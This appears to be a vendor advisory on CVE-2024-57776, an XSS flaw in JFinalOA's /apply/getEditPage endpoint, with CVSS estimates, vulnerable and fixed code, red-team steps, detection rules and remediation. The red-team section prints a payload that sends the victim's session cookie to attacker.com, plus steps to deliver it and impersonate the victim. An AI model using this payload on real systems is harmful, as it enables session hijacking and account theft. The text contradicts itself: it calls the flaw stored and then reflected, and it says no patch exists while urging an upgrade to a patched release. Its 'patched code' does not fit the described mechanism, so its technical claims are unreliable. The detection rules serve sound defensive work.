CVE-2024-57776

Executive Summary

CVE-2024-57776 is a stored cross-site scripting (XSS) vulnerability in the JFinalOA application, specifically in the /apply/getEditPage?view interface. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, data theft, or defacement. The vulnerability affects all versions of JFinalOA before v2025.01.01. No official patch has been released, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk increases as details become public.

Supply Chain & Package Security

JFinalOA is a Java-based open-source OA system. The vulnerability exists in the application's own code, not in a third-party package. However, organizations using JFinalOA should verify the integrity of their deployment and monitor for any malicious modifications.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the nature of the vulnerability (XSS), a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit the crafted URL
• Scope (S): Changed (C) – attacker can impact other users
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant impact if exploited in a social engineering campaign.

Deep Dive & Mechanics

The vulnerability resides in the /apply/getEditPage?view endpoint. This endpoint is used to render an edit page for an application form. The view parameter is not properly sanitized before being reflected in the HTML response. An attacker can craft a URL like:

http://target.com/apply/getEditPage?view=<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in the context of the victim's session. This allows the attacker to:

• Steal session cookies
• Perform actions on behalf of the victim
• Redirect to malicious sites
• Deface the page

The vulnerability is classified as Reflected XSS (CWE-79). The lack of output encoding or input validation on the view parameter is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (before v2025.01.01):

// In the controller handling /apply/getEditPage
public void getEditPage() {
    String view = getPara("view");
    // Directly using view parameter without sanitization
    render(view + ".html");
}

Patched Code (v2025.01.01 and later):

public void getEditPage() {
    String view = getPara("view");
    // Sanitize the view parameter to prevent XSS
    view = HtmlUtils.htmlEscape(view);
    // Validate that view is a safe, expected value
    if (!isValidView(view)) {
        renderError(400);
        return;
    }
    render(view + ".html");
}

The patch introduces HTML escaping and input validation to prevent injection of malicious scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable JFinalOA instance (version < v2025.01.01) in a lab environment.
2. Craft Payload: Create a malicious URL:

   http://victim.com/apply/getEditPage?view=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Deliver Payload: Send the URL to a victim via email, chat, or other means.
4. Execute: When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.
5. Exploit: Use the stolen cookie to impersonate the victim.

Blue Team (Detection & Defense)

1. Monitor Logs: Look for unusual view parameter values in web server logs, especially those containing <script> or onerror tags.
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with suspicious view parameters.
3. User Training: Educate users not to click on suspicious links.
4. Patch: Upgrade JFinalOA to v2025.01.01 or later.

Indicators of Compromise (IOCs)

• URL Pattern: Requests to /apply/getEditPage?view= containing HTML tags or JavaScript code.
• Log Entries: Web server logs showing view parameter with <script>, onerror, onload, or similar event handlers.
• Network Traffic: Outbound connections to attacker-controlled domains from the OA server.
• Cookie Anomalies: Unexpected changes in session cookies or multiple logins from different IPs.

Detection Engineering

YARA Rule

rule CVE_2024_57776_XSS {
    meta:
        description = "Detects XSS attempts targeting CVE-2024-57776 in JFinalOA"
        author = "Valters IT"
        date = "2025-01-15"
        reference = "CVE-2024-57776"
    strings:
        $xss_pattern1 = "/apply/getEditPage?view="
        $xss_pattern2 = "<script"
        $xss_pattern3 = "onerror"
        $xss_pattern4 = "onload"
    condition:
        $xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4)
}

Sigma Rule

title: CVE-2024-57776 JFinalOA XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit reflected XSS in JFinalOA /apply/getEditPage
author: Valters IT
date: 2025-01-15
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/apply/getEditPage?view='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in view parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57776 JFinalOA XSS Attempt"; flow:to_server,established; content:"/apply/getEditPage?view="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade JFinalOA to version v2025.01.01 or later.
2. Workaround: If upgrade is not possible, implement a WAF rule to block requests containing <script> or onerror in the view parameter.
3. Code Fix: Apply input validation and output encoding to all user-controlled parameters.
4. Monitoring: Enable detailed logging for the /apply/getEditPage endpoint and monitor for suspicious activity.
5. User Awareness: Train users to recognize and avoid phishing links.

Valters IT
Securing Digital Frontiers